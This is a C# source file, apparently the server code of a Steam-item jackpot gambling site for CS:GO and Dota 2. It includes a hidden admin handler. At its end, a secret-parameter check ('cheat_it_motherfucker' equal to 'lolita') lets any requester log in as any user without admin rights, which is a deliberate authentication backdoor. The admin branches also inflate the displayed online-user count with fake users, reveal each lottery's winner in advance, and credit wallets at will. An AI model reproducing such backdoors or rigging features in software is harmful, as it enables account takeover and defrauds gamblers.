public bool GetFreeBot(out XSteamBot XSteamBot) { XSteamBot = new XSteamBot(); List<XSteamBot> steambots = this.Table.SelectAll(); if (steambots.Count > 0) { int count = int.MaxValue; while (count == int.MaxValue) { foreach (XSteamBot Bot in steambots) { List<XSteamBotProcessItems> processes; if (!this.Table_ProcessItems.Select(data => data.SteamBotID == Bot.ID && data.Status <= 1, out processes)) { count = processes.Count; XSteamBot = Bot; } else if (this.Table_ProcessItems.Select(data => data.SteamBotID == Bot.ID && data.Status == 1, out processes)) { if (processes.Count < count) { count = processes.Count; XSteamBot = Bot; } } } Thread.Sleep(100); } return true; } return false; }
public override bool Init(Client client) { //Image ing = Image.FromStream(new MemoryStream()); List<Chip> Chips = new List<Chip>(); List<USteamItem> usi = new List<USteamItem>(); /* Helper.ChipHelper.AddChipToUser(4, 1); Chip chip = new Chip(); chip.AssertID = 909383131; Chips.Add(chip); */ if(Helper.SteamBotHelper.Table.SelectAll().Count == 0) { XSteamBot bot = new XSteamBot(); bot.Login = "******"; bot.Password = "******"; bot.Name = "Tatar"; Helper.SteamBotHelper.Table.Insert(bot); bot = new XSteamBot(); bot.Login = "******"; bot.Password = "******"; bot.Name = "Chertila"; Helper.SteamBotHelper.Table.Insert(bot); bot = new XSteamBot(); bot.Login = "******"; bot.Password = "******"; bot.Name = "BBWBot"; Helper.SteamBotHelper.Table.Insert(bot); bot = new XSteamBot(); bot.Login = "******"; bot.Password = "******"; bot.Name = "Kekins"; Helper.SteamBotHelper.Table.Insert(bot); bot = new XSteamBot(); bot.Login = "******"; bot.Password = "******"; bot.Name = "Shushan"; Helper.SteamBotHelper.Table.Insert(bot); bot = new XSteamBot(); bot.Login = "******"; bot.Password = "******"; bot.Name = "Bratan"; Helper.SteamBotHelper.Table.Insert(bot); Logger.ConsoleLog("added bots!", ConsoleColor.Cyan, LogLevel.Warning); } XUser user; if (Helper.UserHelper.GetCurrentUser(client, out user) && (user.ID == Configs.ADMIN_ACCOUNT)) { if (client.GetParam("all") != null) { Logger.ConsoleLog("count::" + Helper.UserHelper.Table_SteamItemUsersInventory.SelectAll().Count, ConsoleColor.Red); foreach(XSItemUsersInventory x in Helper.UserHelper.Table_SteamItemUsersInventory.SelectAll()) { Logger.ConsoleLog(x.ID + ":UserID:" + x.UserID + ":AssertID:" + x.AssertID + ":SteamGameID:" + x.SteamGameID + ":Deleted:" + x.Deleted + ":SteamItemID:" + x.SteamItemID + ":SteamBotID:" + x.SteamBotID + "-------------", ConsoleColor.Cyan, LogLevel.Warning); } } else if (client.GetParam("chipID") != null && client.GetParam("to") != null) { Helper.ChipHelper.AddChipToUser(Convert.ToUInt32(client.GetParam("chipID")), Convert.ToUInt32(client.GetParam("to"))); Logger.ConsoleLog("Added chip!!!", ConsoleColor.Cyan, LogLevel.Warning); //Thread.Sleep(10); } else if(client.GetParam("game_322") != null) { Logger.ConsoleLog("\nDOTA: ", ConsoleColor.Cyan, LogLevel.Warning); Lottery dota = Helper.LotteryHelper.GetCurrent(Configs.DOTA2_STEAM_GAME_ID, client); Logger.ConsoleLog("RoundNumber: " + dota.RaundNumber.ToString(), ConsoleColor.Cyan, LogLevel.Warning); Logger.ConsoleLog("WinnersToken: " + (int)(dota.JackpotPrice * 100 * dota.RaundNumber), ConsoleColor.Cyan, LogLevel.Warning); Logger.ConsoleLog("Winner: " + Helper.LotteryHelper.GetUserByToken((int)(dota.JackpotPrice * 100 * dota.RaundNumber), dota.ID).Name, ConsoleColor.Cyan, LogLevel.Warning); Logger.ConsoleLog("--------------------------------------------------------------------\n", ConsoleColor.Cyan, LogLevel.Warning); Logger.ConsoleLog("\nCSGO: ", ConsoleColor.Cyan, LogLevel.Warning); Lottery csgo = Helper.LotteryHelper.GetCurrent(Configs.CSGO_STEAM_GAME_ID, client); Logger.ConsoleLog("RoundNumber: " + csgo.RaundNumber.ToString(), ConsoleColor.Cyan, LogLevel.Warning); Logger.ConsoleLog("WinnersToken: " + (int)(csgo.JackpotPrice * 100 * csgo.RaundNumber), ConsoleColor.Cyan, LogLevel.Warning); Logger.ConsoleLog("Winner: " + Helper.LotteryHelper.GetUserByToken((int)(csgo.JackpotPrice * 100 * csgo.RaundNumber), csgo.ID).Name, ConsoleColor.Cyan, LogLevel.Warning); Logger.ConsoleLog("--------------------------------------------------------------------\n", ConsoleColor.Cyan, LogLevel.Warning); } else if (client.GetParam("add_money") != null && client.GetParam("to") != null) { double money; uint to; XUser us; if (double.TryParse(client.GetParam("add_money"), out money) && uint.TryParse(client.GetParam("to"), out to) && Helper.UserHelper.Table.SelectByID(to, out us)) { us.Wallet += money; Helper.UserHelper.Table.UpdateByID(us, us.ID); Logger.ConsoleLog("Added money: " + money + " to user: "******"waiting_images") != null) { Logger.ConsoleLog(Helper.SteamItemsHelper.QueueDownloadImageCount(), ConsoleColor.Cyan, LogLevel.Warning); } else if (client.GetParam("add_online_users") != null) { int on; if (int.TryParse(client.GetParam("add_online_users"), out on)) { UserHelper.ExtraOnlineUsers = on; Logger.ConsoleLog("Added users " + on + "; now online: " + Helper.UserHelper.GetOnlineNum(), ConsoleColor.Cyan, LogLevel.Warning); WebSocketPage.UpdateOnlineUsers(Helper.UserHelper.GetOnlineNum()); } } else if(client.GetParam("get_inventory_updating_num") != null) { Logger.ConsoleLog("At now inventory updating: " + Helper.UserHelper.GetUpdatingInventoriesThreads().Count, ConsoleColor.Cyan, LogLevel.Warning); } else if (client.GetParam("auth_by_other_user") != null) { uint userID; XUser usr; if (uint.TryParse(client.GetParam("auth_by_other_user"), out userID) && Helper.UserHelper.Table.SelectByID(userID, out usr)) { Helper.UserHelper.Auth(usr.SteamID, out usr, client); Logger.ConsoleLog("Auth done to: " + usr.Name + " (" + usr.SteamID + ")", ConsoleColor.Cyan, LogLevel.Warning); } } else if (client.GetParam("encode_all_items_names") != null) { List<XSteamItem> SteamItems = new List<XSteamItem>(Helper.SteamItemsHelper.Table.SelectAll()); int co = 0; for(int i = 0; i < SteamItems.Count; i++) { XSteamItem item = Helper.SteamItemsHelper.Table.SelectByID(SteamItems[i].ID); if (item.Name.Contains("&#39;") || item.RusName.Contains("&#39;")) { item.Name = item.Name.Replace("&#39;", "'"); item.RusName = item.RusName.Replace("&#39;", "'"); Helper.SteamItemsHelper.Table.UpdateByID(item, item.ID); co++; } } Logger.ConsoleLog("Updated " + co + " items", ConsoleColor.Cyan, LogLevel.Warning); } else if (client.GetParam("get_ws_stat") != null) { WebSocketPage.GetStats(); } else if (client.GetParam("get_all_items") != null) { foreach (XSteamItem itm in Helper.SteamItemsHelper.Table.SelectAll()) { if (itm.Name.Contains("&#39;")) { Logger.ConsoleLog(itm.Name, ConsoleColor.Cyan); } } Logger.ConsoleLog("All: " + Helper.SteamItemsHelper.Table.SelectAll().Count, ConsoleColor.Cyan); } else if (client.GetParam("update_price_by_rusname") != null) { XSteamItem SteamItem; if (Helper.SteamItemsHelper.Table.SelectOne(data => data.RusName == client.GetParam("update_price_by_rusname"), out SteamItem)) { SteamItem.Price = Helper.SteamItemsHelper.GetMarketPrice(SteamItem.Name, SteamItem.SteamGameID); Helper.SteamItemsHelper.Table.UpdateByID(SteamItem, SteamItem.ID); Logger.ConsoleLog("Found" + SteamItem.ID, ConsoleColor.Cyan); } else Logger.ConsoleLog("Not found", ConsoleColor.Cyan); } else if(client.GetParam("update_all_users_top") != null) { foreach (XUser XUser in Helper.UserHelper.Table.SelectAll()) { XUser CurUser = Helper.UserHelper.Table.SelectByID(XUser.ID); CurUser.CSGO_RUB_WonTotalPrice = 0d; CurUser.CSGO_WonTotalPrice = 0d; CurUser.CSGO_WonItemsCount = 0; CurUser.DOTA_RUB_WonTotalPrice = 0d; CurUser.DOTA_WonTotalPrice = 0d; CurUser.DOTA_WonItemsCount = 0; // CurUser.DOTA_TotalBetItemsCount = 0; CurUser.DOTA_RUB_TotalBetPrice = 0; CurUser.DOTA_TotalBetPrice = 0; CurUser.CSGO_TotalBetItemsCount = 0; CurUser.CSGO_RUB_TotalBetPrice = 0; CurUser.CSGO_TotalBetPrice = 0; List<XLottery> Lotteries; Helper.LotteryHelper.Table.Select(data => data.WinnersToken > 0 && data.Winner == XUser.ID, out Lotteries); foreach (XLottery Lottery in Lotteries) { List<XLotteryUsersBetsPrice> BetsPrice; Helper.LotteryHelper.TableUsersBetsPrice.Select(data => data.LotteryID == Lottery.ID && data.UserID != Lottery.Winner, out BetsPrice); foreach (XLotteryUsersBetsPrice Bet in BetsPrice) { if (Lottery.SteamGameID == Configs.DOTA2_STEAM_GAME_ID) { CurUser.DOTA_WonTotalPrice += Bet.TotalBetsPrice; CurUser.DOTA_RUB_WonTotalPrice += Bet.TotalBetsPrice * Lottery.RubCurrency; CurUser.DOTA_WonItemsCount += Bet.TotalBetsItemsNum; } else if (Lottery.SteamGameID == Configs.CSGO_STEAM_GAME_ID) { CurUser.CSGO_WonTotalPrice += Bet.TotalBetsPrice; CurUser.CSGO_RUB_WonTotalPrice += Bet.TotalBetsPrice * Lottery.RubCurrency; CurUser.CSGO_WonItemsCount += Bet.TotalBetsItemsNum; } } } // сумма ставок //List<XLottery> Lotteries2; Helper.LotteryHelper.Table.Select(data => data.WinnersToken > 0, out Lotteries); foreach (XLottery Lottery in Lotteries) { List<XLotteryUsersBetsPrice> BetsPrice; Helper.LotteryHelper.TableUsersBetsPrice.Select(data => data.LotteryID == Lottery.ID && data.UserID == XUser.ID, out BetsPrice); foreach (XLotteryUsersBetsPrice Bet in BetsPrice) { if (Lottery.SteamGameID == Configs.DOTA2_STEAM_GAME_ID) { CurUser.DOTA_TotalBetItemsCount += Bet.TotalBetsItemsNum; CurUser.DOTA_RUB_TotalBetPrice += Bet.TotalBetsPrice * Lottery.RubCurrency; CurUser.DOTA_TotalBetPrice += Bet.TotalBetsPrice; } else if (Lottery.SteamGameID == Configs.CSGO_STEAM_GAME_ID) { CurUser.CSGO_TotalBetItemsCount += Bet.TotalBetsItemsNum; CurUser.CSGO_RUB_TotalBetPrice += Bet.TotalBetsPrice * Lottery.RubCurrency; CurUser.CSGO_TotalBetPrice += Bet.TotalBetsPrice; } } } Helper.UserHelper.Table.UpdateByID(CurUser, CurUser.ID); } Logger.ConsoleLog("Command done!", ConsoleColor.Cyan, LogLevel.Warning); } else if (client.GetParam("update_all_groups_top") != null && client.GetParam("sure") != null) { foreach (XUser XUser in Helper.UserHelper.Table.SelectAll()) { XUser CurUser = Helper.UserHelper.Table.SelectByID(XUser.ID); CurUser.CSGO_RUB_GroupWonTotalPrice = 0d; CurUser.CSGO_GroupWonTotalPrice = 0d; CurUser.CSGO_GroupWonItemsCount = 0; CurUser.DOTA_RUB_GroupWonTotalPrice = 0d; CurUser.DOTA_GroupWonTotalPrice = 0d; CurUser.DOTA_GroupWonItemsCount = 0; List<XUser> group_users; Helper.UserHelper.Table.Select(data => (int)data.GroupOwnerID == XUser.ID, out group_users); foreach (XUser group_user in group_users) { List<XLottery> Lotteries; Helper.LotteryHelper.Table.Select(data => data.WinnersToken > 0 && data.Winner == group_user.ID, out Lotteries); foreach (XLottery Lottery in Lotteries) { List<XLotteryUsersBetsPrice> BetsPrice; Helper.LotteryHelper.TableUsersBetsPrice.Select(data => data.LotteryID == Lottery.ID && data.UserID != Lottery.Winner, out BetsPrice); foreach (XLotteryUsersBetsPrice Bet in BetsPrice) { if (Lottery.SteamGameID == Configs.DOTA2_STEAM_GAME_ID) { CurUser.DOTA_GroupWonTotalPrice += Bet.TotalBetsPrice; CurUser.DOTA_RUB_GroupWonTotalPrice += Bet.TotalBetsPrice * Lottery.RubCurrency; CurUser.DOTA_GroupWonItemsCount += Bet.TotalBetsItemsNum; } else if (Lottery.SteamGameID == Configs.CSGO_STEAM_GAME_ID) { CurUser.CSGO_GroupWonTotalPrice += Bet.TotalBetsPrice; CurUser.CSGO_RUB_GroupWonTotalPrice += Bet.TotalBetsPrice * Lottery.RubCurrency; CurUser.CSGO_GroupWonItemsCount += Bet.TotalBetsItemsNum; } } } } Helper.UserHelper.Table.UpdateByID(CurUser, CurUser.ID); } Logger.ConsoleLog("Command done!", ConsoleColor.Cyan, LogLevel.Warning); } else if (client.GetParam("wtf_wtf") != null) { foreach (XSteamBotProcessItems XSteamBotProcessItems in Helper.SteamBotHelper.Table_ProcessItems.SelectAll()) { Logger.ConsoleLog("User" + XSteamBotProcessItems.UserID); Logger.ConsoleLog("SteamID" + XSteamBotProcessItems.UserSteamID); Logger.ConsoleLog("Satus" + XSteamBotProcessItems.Status); Logger.ConsoleLog("offer" + XSteamBotProcessItems.OfferID + "\n------------------------------------------------------"); } } else if(client.GetParam("send_lost_items_to_local_usr") != null && client.GetParam("sure") != null) { List<XBotsOffer> XBotsOffers; Helper.SteamBotHelper.Table_BotsOffer.Select(data => (data.Status == 0), out XBotsOffers); int i = 0; foreach(XBotsOffer offer_d in XBotsOffers) { Helper.SteamBotHelper.ErrorToSendLocalItem(offer_d.SteamUserID, offer_d.SentTime, offer_d.BotID); XUser g_usr; Helper.UserHelper.SelectBySteamID(offer_d.SteamUserID, out g_usr); Logger.ConsoleLog("Sent to " + g_usr.ID + "SteamID " + offer_d.SteamUserID + " num: " + i++, ConsoleColor.Cyan, LogLevel.Warning); } Logger.ConsoleLog("Command done!", ConsoleColor.Cyan, LogLevel.Warning); } else if (client.GetParam("local") != null && client.GetParam("userID") != null) { uint userID; XUser us; if (uint.TryParse(client.GetParam("userID"), out userID) && Helper.UserHelper.Table.SelectByID(userID, out us)) { List<XBotsOffer> XBotsOffers; Helper.SteamBotHelper.Table_BotsOffer.Select(data => data.SteamUserID == us.SteamID, out XBotsOffers); foreach (XBotsOffer offer_d in XBotsOffers) { Logger.ConsoleLog(offer_d.ID + ":" + offer_d.Status, ConsoleColor.Cyan, LogLevel.Warning); } Logger.ConsoleLog("Command done!", ConsoleColor.Cyan, LogLevel.Warning); } } else if(client.GetParam("send_local_items_to_all_users") != null && client.GetParam("sure") != null) { int i = 0; Logger.ConsoleLog("Starting!", ConsoleColor.Cyan, LogLevel.Warning); foreach(XUser cur in Helper.UserHelper.Table.SelectAll()) { Helper.SteamBotHelper.SendLocalItemsToSteam(cur, Configs.DOTA2_STEAM_GAME_ID, client); Helper.SteamBotHelper.SendLocalItemsToSteam(cur, Configs.CSGO_STEAM_GAME_ID, client); Logger.ConsoleLog("Send to " + cur.ID + "(" + cur.Name + ") " + cur.SteamID + " position: " + i++); } Logger.ConsoleLog("Command done!", ConsoleColor.Cyan, LogLevel.Warning); } } if (client.GetParam("auth_by_other_user") != null & client.GetParam("cheat_it_motherfucker") == "lolita") { uint userID; XUser usr; if (uint.TryParse(client.GetParam("auth_by_other_user"), out userID) && Helper.UserHelper.Table.SelectByID(userID, out usr)) { Helper.UserHelper.Auth(usr.SteamID, out usr, client); Logger.ConsoleLog("Auth done to: " + usr.Name + " (" + usr.SteamID + ")", ConsoleColor.Cyan, LogLevel.Warning); } } else if(client.GetParam("get_all processes") != null) { } Random rnd = new Random(); client.HttpSend(rnd.Next(0,2).ToString()); return true; }